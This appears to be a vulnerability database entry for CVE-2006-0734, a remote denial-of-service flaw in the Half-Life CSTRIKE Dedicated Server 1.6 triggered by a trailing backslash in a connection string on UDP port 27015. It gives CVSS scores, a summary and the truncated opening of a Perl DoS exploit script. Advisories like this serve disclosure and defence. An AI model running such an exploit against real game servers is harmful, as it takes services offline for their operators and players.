4
CVSSv2

CVE-2006-0734

Published: 16/02/2006 Updated: 20/07/2017
CVSS v2 Base Score: 4 | Impact Score: 2.9 | Exploitability Score: 8
VMScore: 405
Vector: AV:N/AC:L/Au:S/C:N/I:N/A:P

Vulnerability Summary

The SV_CheckForDuplicateNames function in Valve Software Half-Life CSTRIKE Dedicated Server 1.6 and previous versions allows remote authenticated users to cause a denial of service (infinite loop and daemon hang) via a backslash character at the end of a connection string to UDP port 27015.

Vulnerable Product Search on Vulmon Subscribe to Product

valve software half-life cstrike dedicated server

Exploits

#!/usr/bin/perl # Server must not be running steam /str0ke # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 16 Windows build-in server, cstrike 16 linux dedicated server use IO::Socket; die "usage: /csdos <host>" unless $ARGV[0]; $host=$ARGV[0]; if (fork()) { econnect($host); } else { econne ...